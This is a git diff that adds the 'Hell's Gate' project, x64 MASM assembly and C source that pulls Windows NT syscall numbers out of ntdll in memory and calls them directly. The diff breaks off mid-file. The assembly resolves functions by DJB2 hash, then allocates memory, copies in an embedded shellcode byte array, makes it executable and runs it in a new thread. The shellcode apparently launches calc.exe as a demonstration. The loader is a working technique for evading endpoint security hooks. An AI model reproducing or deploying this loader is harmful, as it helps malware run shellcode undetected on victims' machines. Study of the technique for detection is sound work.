diff --git a/Hells Gate/Assembly Expansion/HELLSGATE.ASM b/Hells Gate/Assembly Expansion/HELLSGATE.ASM new file mode 100644 index 0000000..4bd1134 --- /dev/null +++ b/Hells Gate/Assembly Expansion/HELLSGATE.ASM @@ -0,0 +1,262 @@ +; @file HELLSGATE.ASM +; @data 07-08-2020 +; @author Paul Laîné (@am0nsec) +; @version 1.0 +; @brief Dynamically extracting and invoking syscalls from in-memory modules. +; @details +; @link https://ntamonsec.blogspot.com/ +; @copyright This project has been released under the GNU Public License v3 license. + +include HELLSGATE.INC + +_DATA segment + extern Shellcode: BYTE + extern ShellcodeLength: QWORD + + wSystemCall DWORD 000h + lpAddress QWORD ? + sDataSize QWORD ? + OldProtect QWORD ? + hThreadHandle QWORD ? + + VXTable VX_TABLE <> + Timeout LARGE_INTEGER <> +_DATA ends + +_TEXT segment + SystemCall PROC + mov r10, rcx + syscall + ret + SystemCall ENDP + + HellsGate PROC +_start: + mov r8, gs:[60h] ; Get process environment block (PEB) + cmp [r8].PEB.OSMajorVersion, 0Ah ; + jne _failure ; Jump if not Windows 10 + + ; Get the base address of ntdll + mov r8, [r8].PEB.Ldr ; + mov r8, [r8].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. hellsgate.exe + mov r8, [r8].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll + mov r8, [r8].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module + mov r9, r8 ; Store for later use + + ; Get module export directory + cmp [r8].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ + jne _failure ; + + mov ebx, [r8].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64 + add r8, rbx ; + cmp [r8].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00 + jne _failure ; + + mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64 + add r8, rbx ; + cmp [r8].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b + jne _failure ; + + lea r8, [r8].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array + mov ebx, [r8].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY + mov r8, r9 ; ImageBase + add r8, rbx ; Module + RVA + + ; Push function hashes + mov VXTable.NtAllocateVirtualMemory.dwHash, 002B73D648h ; DJB2 hash of NtAllocateVirtualMemory + mov VXTable.NtProtectVirtualMemory.dwHash, 00FE950644h ; DJB2 hash of NtProtectVirtualMemory + mov VXTable.NtCreateThreadEx.dwHash, 00B151D7ACh ; DJB2 hash of NtCreateThreadEx + mov VXTable.NtWaitForSingleObject.dwHash, 0091F4EA38h ; DJB2 hash of NtWaitForSingleObject + + xor r15, r15 ; Clean R15 register + mov r15b, 4h ; Move to R15 number of functions to find + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name + mov r12, r9 ; Function name RVA + add r12, rbx ; ImageBase + RVA + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers + mov r13, r9 ; + add r13, rbx ; + + mov ebx, [r8].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals + mov r14, r9 ; + add r14, rbx ; + + mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions + dec ecx + +;----------------------------------------------------------------------------- +; Find function ordinal index w/ function name hash +;----------------------------------------------------------------------------- +_parse_functions_name: + mov rbx, 4h ; sizeof(DWORD) + imul rbx, rcx ; siezof(DWORD) * RCX + mov esi, [r12 + rbx] ; Function RVA + add rsi, r9 ; Function RVA + ImageBase + + mov r10d, 5381h ; hash = 0x5381 +_djb2: + mov r11d, r10d ; Store original hash value for later + shl r10d, 5 ; hash << 5 + add r10d, r11d ; (hash << 5) + hash + + xor r11d, r11d ; Clean temporary hash value + mov r11b, byte ptr [rsi] ; Get ASCII char + add r10d, r11d ; ((hash << 5) + hash) + char + + inc rsi ; Next string char + cmp byte ptr [rsi], 00h ; End of string + jne _djb2 ; + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + xor r10d, [rax].VX_TABLE_ENTRY.dwHash ; Check if function has been found + jz _get_function_address ; + loop _parse_functions_name ; + +;----------------------------------------------------------------------------- +; Find the function address w/ function ordinal +;----------------------------------------------------------------------------- +_get_function_address: + mov rax, 2h ; sizeof(WORD) + imul rax, rcx ; sizeof(WORD) * RCX + mov ax, [r14 + rax] ; AX = function ordinal + + imul rax, 4 ; sizeof(DWORD) * ordinal + mov eax, [r13 + rax] ; RVA of function + mov rbx, r9 ; RBX = ImageBase + add rbx, rax ; RBX = address of function + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + mov [rax].VX_TABLE_ENTRY.pAddress, rbx ; + +;----------------------------------------------------------------------------- +; Find the function system call w/ function address +;----------------------------------------------------------------------------- +_get_function_syscall: + inc rbx + cmp byte ptr [rbx], 00C3h ; Check if RET + je _failure ; + + cmp word ptr [rbx], 050Fh ; Check if syscall + jne _get_function_syscall ; + + sub rbx, 0Eh ; Address of system call + mov cx, word ptr [rbx] ; CX = system call + + lea rax, VXTable ; Address of VX table + mov rdx, VXTableEntrySize ; RDX = sizeof(VX_TABLE_ENTRY) + imul rdx, r15 ; RDX = sizeof(VX_TABLE_ENTRY) * R15 + sub rdx, 10h ; RDX = (sizeof(VX_TABLE_ENTRY) * R15) - sizeof(VX_TABLE_ENTRY) + add rax, rdx ; RAX = VX_TABLE[RDX].pAddress = RBX + mov [rax].VX_TABLE_ENTRY.wSystemCall, cx ; + +_reset_loop: + ; Move to the next function + mov ecx, [r8].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset counter + dec ecx ; + dec r15 ; Check if all function have been found + jnz _parse_functions_name ; + +;----------------------------------------------------------------------------- +; Execute the payload +;----------------------------------------------------------------------------- +_payload: + ; Initialise variables + mov r10, ShellcodeLength ; + mov sDataSize, r10 ; Store shellcode length + mov lpAddress, 0h ; + + ; Execute NtAllocateVirtualMemory + mov ax, VXTable.NtAllocateVirtualMemory.wSystemCall ; + mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + lea rdx, lpAddress ; BaseAddress + xor r8, r8 ; ZeroBits + lea r9, sDataSize ; RegionSize + mov qword ptr [rsp + 20h], 3000h ; AllocationType + mov qword ptr [rsp + 28h], 4 ; Protect + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Copy shellcode + cld ; Clear direction flag == forward copy + lea rsi, Shellcode ; Origin + mov rdi, lpAddress ; Destination + mov rcx, ShellcodeLength ; Size of shellcode + rep movsb ; Copy byte until RCX = 0 + + ; Execute NtProtectVirtualMemory + mov ax, VXTable.NtProtectVirtualMemory.wSystemCall ; + mov rcx, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + lea rdx, lpAddress ; BaseAddress + lea r8, sDataSize ; NumberOfBytesToProtect + mov r9d, 20h ; NewAccessProtection + + mov OldProtect, 00h ; + lea r11, OldProtect ; + mov qword ptr [rsp + 20h], r11 ; OldAccessProtection + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Execute NtCreateThreadEx + mov ax, VXTable.NtCreateThreadEx.wSystemCall + mov hThreadHandle, 0 ; + lea rcx, hThreadHandle ; hThread + mov rdx, 1FFFFFh ; DesiredAccess + xor r8, r8 ; ObjectAttributes + mov r9, 0FFFFFFFFFFFFFFFFh ; ProcessHandle + mov r10, lpAddress ; + mov qword ptr [rsp + 20h], r10 ; lpStartAddress + mov qword ptr [rsp + 28h], 00h ; lpParameter + mov qword ptr [rsp + 30h], 00h ; Flags + mov qword ptr [rsp + 38h], 00h ; StackZeroBits + mov qword ptr [rsp + 40h], 00h ; SizeOfStackCommit + mov qword ptr [rsp + 48h], 00h ; SizeOfStackReserve + mov qword ptr [rsp + 50h], 00h ; lpBytesBuffer + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + + ; Execute NtWaitForSingleObject + mov ax, VXTable.NtWaitForSingleObject.wSystemCall ; + mov rcx, hThreadHandle ; ObjectHandle + xor rdx, rdx ; Alertable + + mov Timeout, 0FFFFFFFFFF676980h ; TimeOut + lea r8, Timeout ; + + call SystemCall ; + cmp eax, 00h ; (NTSTATUS != 0) + jne _failure ; + +;----------------------------------------------------------------------------- +; Successfully execution of the function +;----------------------------------------------------------------------------- +_success: + mov rax, 1 + ret + +;----------------------------------------------------------------------------- +; In case something goes wrong +;----------------------------------------------------------------------------- +_failure: + xor rax, rax + ret + HellsGate ENDP +_TEXT ends + +; end of file +end diff --git a/Hells Gate/Assembly Expansion/HELLSGATE.INC b/Hells Gate/Assembly Expansion/HELLSGATE.INC new file mode 100644 index 0000000..bc1afc9 --- /dev/null +++ b/Hells Gate/Assembly Expansion/HELLSGATE.INC @@ -0,0 +1,285 @@ +; @file HELLSGATE.INC +; @data 07-08-2020 +; @author Paul Laîné (@am0nsec) +; @version 1.0 +; @brief Dynamically extracting and invoking syscalls from in-memory modules. +; @details +; @link https://ntamonsec.blogspot.com/ +; @copyright This project has been released under the GNU Public License v3 license. + +VXTableEntrySize EQU SIZEOF VX_TABLE_ENTRY +VXTableSize EQU SIZEOF VX_TABLE + +VX_TABLE_ENTRY struct + pAddress QWORD ? ; 0x0000 + dwHash DWORD ? ; 0x0008 + wSystemCall WORD ? ; 0x000C + BYTE 2 dup(?) ; padding +VX_TABLE_ENTRY ends + +VX_TABLE struct + NtAllocateVirtualMemory VX_TABLE_ENTRY <> ; 0x0000 + NtProtectVirtualMemory VX_TABLE_ENTRY <> ; 0x0010 + NtCreateThreadEx VX_TABLE_ENTRY <> ; 0x0020 + NtWaitForSingleObject VX_TABLE_ENTRY <> ; 0x0030 +VX_TABLE ends + +LARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +LARGE_INTEGER ends + +ULARGE_INTEGER struct + LowPart DWORD ? ; 0x0000 + HighPart DWORD ? ; 0x0004 +ULARGE_INTEGER ends + +UNICODE_STRING struct + _Length WORD ? ; 0x0000 + MaximumLength WORD ? ; 0x0002 + BYTE 4 dup(?) ; padding + Buffer QWORD ? ; 0x0008 +UNICODE_STRING ends + +LIST_ENTRY struct + Flink QWORD ? ; 0x0000 + BLink QWORD ? ; 0x0008 +LIST_ENTRY ends + +PEB struct + InheritedAddressSpace BYTE ? ; 0x0000 + ReadImageFileExecOptions BYTE ? ; 0x0001 + BeingDebugged BYTE ? ; 0x0002 + BitField BYTE ? ; 0x0003 + Padding0 BYTE 4 dup(?) ; 0x0004 + Mutant QWORD ? ; 0x0008 + ImageBaseAddress QWORD ? ; 0x0010 + Ldr QWORD ? ; 0x0018 + ProcessParameters QWORD ? ; 0x0020 + SubSystemData QWORD ? ; 0x0028 + ProcessHeap QWORD ? ; 0x0030 + FastPebLock QWORD ? ; 0x0038 + AtlThunkSListPtr QWORD ? ; 0x0040 + IFEOKey QWORD ? ; 0x0048 + CrossProcessFlags DWORD ? ; 0x0050 + Padding1 BYTE 4 dup(?) ; 0x0054 + UserSharedInfoPtr QWORD ? ; 0x0058 + SystemReserved DWORD ? ; 0x0060 + AtlThunkSListPtr32 DWORD ? ; 0x0064 + ApiSetMap QWORD ? ; 0x0068 + TlsExpansionCounter DWORD ? ; 0x0070 + Padding2 BYTE 4 dup(?) ; 0x0074 + TlsBitmap QWORD ? ; 0x0078 + TlsBitmapBits DWORD 2 dup(?) ; 0x0080 + ReadOnlySharedMemoryBase QWORD ? ; 0x0088 + SharedData QWORD ? ; 0x0090 + ReadOnlyStaticServerData QWORD ? ; 0x0098 + AnsiCodePageData QWORD ? ; 0x00A0 + OemCodePageData QWORD ? ; 0x00A8 + UnicodeCaseTableData QWORD ? ; 0x00B0 + NumberOfProcessors DWORD ? ; 0x00B9 + NtGlobalFlag DWORD ? ; 0x00BC + CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0 + HeapSegmentReserve QWORD ? ; 0x00C8 + HeapSegmentCommit QWORD ? ; 0x00D0 + HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8 + HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0 + NumberOfHeaps DWORD ? ; 0x00E8 + MaximumNumberOfHeaps DWORD ? ; 0x00EC + ProcessHeaps QWORD ? ; 0x00F0 + GdiSharedHandleTable QWORD ? ; 0x00F8 + ProcessStarterHelper QWORD ? ; 0x0100 + GdiDCAttributeList DWORD ? ; 0x0108 + Padding3 BYTE 4 dup(?) ; 0x010C + LoaderLock QWORD ? ; 0x0110 + OSMajorVersion DWORD ? ; 0x0118 + OSMinorVersion DWORD ? ; 0x011C + OSBuildNumber WORD ? ; 0x0120 + OSCSDVersion WORD ? ; 0x0122 + OSPlatformId DWORD ? ; 0x0124 + ImageSubsystem DWORD ? ; 0x0128 + ImageSubsystemMajorVersion DWORD ? ; 0x012C + ImageSubsystemMinorVersion DWORD ? ; 0x0130 + Padding4 BYTE 4 dup(?) ; 0x0134 + ActiveProcessAffinityMask QWORD ? ; 0x0138 + GdiHandleBuffer DWORD 60 dup(?) ; 0x0140 + PostProcessInitRoutine QWORD ? ; 0x0230 + TlsExpansionBitmap QWORD ? ; 0x0238 + TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240 + SessionId DWORD ? ; 0x02C0 + Padding5 BYTE 4 dup(?) ; 0x02C4 + AppCompatFlags ULARGE_INTEGER <> ; 0x02C8 + AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0 + pShimData QWORD ? ; 0x02D8 + AppCompatInfo QWORD ? ; 0x02E0 + CSDVersion UNICODE_STRING <> ; 0x02E8 + ActivationContextData QWORD ? ; 0x02F8 + ProcessAssemblyStorageMap QWORD ? ; 0x0300 + SystemDefaultActivationContextData QWORD ? ; 0x0308 + SystemAssemblyStorageMap QWORD ? ; 0x0310 + MinimumStackCommit QWORD ? ; 0x0318 + SparePointers QWORD 4 dup(?) ; 0x0320 + SpareUlongs DWORD 5 dup(?) ; 0x0340 + BYTE 4 dup(?) + WerRegistrationData QWORD ? ; 0x0358 + WerShipAssertPtr QWORD ? ; 0x0360 + pUnused QWORD ? ; 0x0368 + pImageHeaderHash QWORD ? ; 0x0370 + TracingFlags DWORD ? ; 0x0378 + Padding6 BYTE 4 dup(?) ; 0x037c + CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380 + TppWorkerpListLock QWORD ? ; 0x0388 + TppWorkerpList LIST_ENTRY <> ; 0x0390 + WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0 + TelemetryCoverageHeader QWORD ? ; 0x07A0 + CloudFileFlags DWORD ? ; 0x07A8 + CloudFileDiagFlags DWORD ? ; 0x07AC + PlaceholderCompatibilityMode BYTE ? ; 0x07B0 + PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1 + LeapSecondData QWORD ? ; 0x07B8 + LeapSecondFlags DWORD ? ; 0x07c0 + NtGlobalFlag2 DWORD ? ; 0x07c4 +PEB ends + +PEB_LDR_DATA struct + _Length DWORD ? ; 0x0000 + Initialized BYTE ? ; 0x0004 + BYTE 3 dup(?) ; padding + SsHandle QWORD ? ; 0x0008 + InLoadOrderModuleList LIST_ENTRY <> ; 0x0010 + InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020 + InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030 + EntryInProgress QWORD ? ; 0x0040 + ShutdownInProgress BYTE ? ; 0x0048 + BYTE 7 dup(?) ; padding + ShutdownThreadId QWORD ? ; 0x0050 +PEB_LDR_DATA ends + +RTL_BALANCED_NODE struct + _Dummy BYTE 24 dup(?) +RTL_BALANCED_NODE ends + +LDR_DATA_TABLE_ENTRY struct + InLoadOrderLinks LIST_ENTRY <> ; 0x0000 + InMemoryOrderLinks LIST_ENTRY <> ; 0x0010 + InInitializationOrderLinks LIST_ENTRY <> ; 0x0020 + DllBase QWORD ? ; 0x0030 + EntryPoint QWORD ? ; 0x0038 + SizeOfImage DWORD ? ; 0x0040 + BYTE 4 dup(?) ; padding + FullDllName UNICODE_STRING <> ; 0x0048 + BaseDllName UNICODE_STRING <> ; 0x0058 + FlagGroup BYTE 4 dup(?) ; 0x0068 + ObsoleteLoadCount WORD ? ; 0x006C + TlsIndex WORD ? ; 0x006E + HashLinks LIST_ENTRY <> ; 0x0070 + TimeDateStamp DWORD ? ; 0x0080 + BYTE 4 dup(?) ; padding + EntryPointActivationContext QWORD ? ; 0x0088 + _Lock QWORD ? ; 0x0090 + DdagNode QWORD ? ; 0x0098 + NodeModuleLink LIST_ENTRY <> ; 0x00A0 + LoadContext QWORD ? ; 0x00B0 + ParentDllBase QWORD ? ; 0x00B8 + SwitchBackContext QWORD ? ; 0x00C0 + BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8 + MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0 + OriginalBase QWORD ? ; 0x00F8 + LoadTime LARGE_INTEGER <> ; 0x0100 + BaseNameHashValue DWORD ? ; 0x0108 + LoadReason DWORD ? ; 0x010C + ImplicitPathOptions DWORD ? ; 0x0110 + ReferenceCount DWORD ? ; 0x0114 + DependentLoadFlags DWORD ? ; 0x0118 + SigningLevel BYTE ? ; 0x011C +LDR_DATA_TABLE_ENTRY ends + +IMAGE_DOS_HEADER struct + e_magic WORD ? ; 0x0000 + e_cblp WORD ? ; 0x0002 + e_cp WORD ? ; 0x0004 + e_crlc WORD ? ; 0x0006 + e_cparhdr WORD ? ; 0x0008 + e_minalloc WORD ? ; 0x000A + e_maxalloc WORD ? ; 0x000C + e_ss WORD ? ; 0x000E + e_sp WORD ? ; 0x0010 + e_csum WORD ? ; 0x0012 + e_ip WORD ? ; 0x0014 + e_cs WORD ? ; 0x0016 + e_lfarlc WORD ? ; 0x0018 + e_ovno WORD ? ; 0x001A + e_res WORD 4 dup(?) ; 0x001C + e_oemid WORD ? ; 0x0024 + e_oeminfo WORD ? ; 0x0026 + e_res2 WORD 10 dup(?) ; 0x0028 + e_lfanew DWORD ? ; 0x003C +IMAGE_DOS_HEADER ends + +IMAGE_FILE_HEADER struct + Machine WORD ? ; 0x0000 + NumberOfSections WORD ? ; 0x0002 + TimeDateStamp DWORD ? ; 0x0004 + PointerToSymbolTable DWORD ? ; 0x0008 + NumberOfSymbols DWORD ? ; 0x000c + SizeOfOptionalHeader WORD ? ; 0x0010 + Characteristics WORD ? ; 0x0012 +IMAGE_FILE_HEADER ends + +IMAGE_DATA_DIRECTORY struct + VirtualAddress DWORD ? ; 0x0000 + _Size DWORD ? ; 0x0004 +IMAGE_DATA_DIRECTORY ends + +IMAGE_OPTIONAL_HEADER64 struct + Magic WORD ? ; 0x0000 + MajorLinkerVersion BYTE ? ; 0x0002 + MinorLinkerVersion BYTE ? ; 0x0003 + SizeOfCode DWORD ? ; 0x0004 + SizeOfInitializedData DWORD ? ; 0x0008 + SizeOfUninitializedData DWORD ? ; 0x000C + AddressOfEntryPoint DWORD ? ; 0x0010 + BaseOfCode DWORD ? ; 0x0014 + ImageBase QWORD ? ; 0x0018 + SectionAlignment DWORD ? ; 0x0020 + FileAlignment DWORD ? ; 0x0024 + MajorOperatingSystemVersion WORD ? ; 0x0028 + MinorOperatingSystemVersion WORD ? ; 0x002a + MajorImageVersion WORD ? ; 0x002C + MinorImageVersion WORD ? ; 0x002E + MajorSubsystemVersion WORD ? ; 0x0030 + MinorSubsystemVersion WORD ? ; 0x0032 + Win32VersionValue DWORD ? ; 0x0034 + SizeOfImage DWORD ? ; 0x0038 + SizeOfHeaders DWORD ? ; 0x003c + CheckSum DWORD ? ; 0x0040 + Subsystem WORD ? ; 0x0044 + DllCharacteristics WORD ? ; 0x0046 + SizeOfStackReserve QWORD ? ; 0x0048 + SizeOfStackCommit QWORD ? ; 0x0050 + SizeOfHeapReserve QWORD ? ; 0x0058 + SizeOfHeapCommit QWORD ? ; 0x0060 + LoaderFlags DWORD ? ; 0x0068 + NumberOfRvaAndSizes DWORD ? ; 0x006C + DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070 +IMAGE_OPTIONAL_HEADER64 ends + +IMAGE_NT_HEADERS64 struct + Signature DWORD ? ; 0x0000 + FileHeader IMAGE_FILE_HEADER <> ; 0x0004 + OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018 +IMAGE_NT_HEADERS64 ends + +IMAGE_EXPORT_DIRECTORY struct + Characteristics DWORD ? ; 0x0000 + TimeDateStamp DWORD ? ; 0x0004 + MajorVersion WORD ? ; 0x0008 + MinorVersion WORD ? ; 0x000A + _Name DWORD ? ; 0x000C + Base DWORD ? ; 0x0010 + NumberOfFunctions DWORD ? ; 0x0014 + NumberOfNames DWORD ? ; 0x0018 + AddressOfFunctions DWORD ? ; 0x001C + AddressOfNames DWORD ? ; 0x0020 + AddressOfNameOrdinals DWORD ? ; 0x0024 +IMAGE_EXPORT_DIRECTORY ends diff --git a/Hells Gate/Assembly Expansion/main.c b/Hells Gate/Assembly Expansion/main.c new file mode 100644 index 0000000..9b3cb73 --- /dev/null +++ b/Hells Gate/Assembly Expansion/main.c @@ -0,0 +1,42 @@ +/** +* @file main.c +* @data 07-08-2020 +* @author Paul Laîné(@am0nsec) +* @version 1.0 +* @brief Dynamically extractingand invoking syscalls from in - memory modules. +* @details +* @link https ://ntamonsec.blogspot.com/ +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#include + +unsigned char Shellcode[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +DWORD ShellcodeLength = sizeof(Shellcode); + +extern BOOL HellsGate(void); + +INT wmain() { + + BOOL a = HellsGate(); + +} diff --git a/Hells Gate/C Implementation/HellsGate.sln b/Hells Gate/C Implementation/HellsGate.sln new file mode 100644 index 0000000..688bc5d --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HellsGate", "HellsGate\HellsGate.vcxproj", "{DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.ActiveCfg = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x64.Build.0 = Debug|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.ActiveCfg = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Debug|x86.Build.0 = Debug|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.ActiveCfg = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x64.Build.0 = Release|x64 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.ActiveCfg = Release|Win32 + {DC6187CB-D5DF-4973-84A2-F92AAE90CDA9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AAAFFDAB-0074-4A3D-BA5B-63F51AA7F8EB} + EndGlobalSection +EndGlobal diff --git a/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj new file mode 100644 index 0000000..8f10774 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {dc6187cb-d5df-4973-84a2-f92aae90cda9} + HellsGate + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + Document + + + + + + + \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters new file mode 100644 index 0000000..e123f59 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/HellsGate.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/hellsgate.asm b/Hells Gate/C Implementation/HellsGate/hellsgate.asm new file mode 100644 index 0000000..0234e00 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/hellsgate.asm @@ -0,0 +1,23 @@ +; Hell's Gate +; Dynamic system call invocation +; +; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) + +.data + wSystemCall DWORD 000h + +.code + HellsGate PROC + mov wSystemCall, 000h + mov wSystemCall, ecx + ret + HellsGate ENDP + + HellDescent PROC + mov r10, rcx + mov eax, wSystemCall + + syscall + ret + HellDescent ENDP +end diff --git a/Hells Gate/C Implementation/HellsGate/main.c b/Hells Gate/C Implementation/HellsGate/main.c new file mode 100644 index 0000000..a88faf6 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/main.c @@ -0,0 +1,211 @@ +#pragma once +#include +#include "structs.h" + +/*-------------------------------------------------------------------- + VX Tables +--------------------------------------------------------------------*/ +typedef struct _VX_TABLE_ENTRY { + PVOID pAddress; + DWORD64 dwHash; + WORD wSystemCall; +} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; + +typedef struct _VX_TABLE { + VX_TABLE_ENTRY NtAllocateVirtualMemory; + VX_TABLE_ENTRY 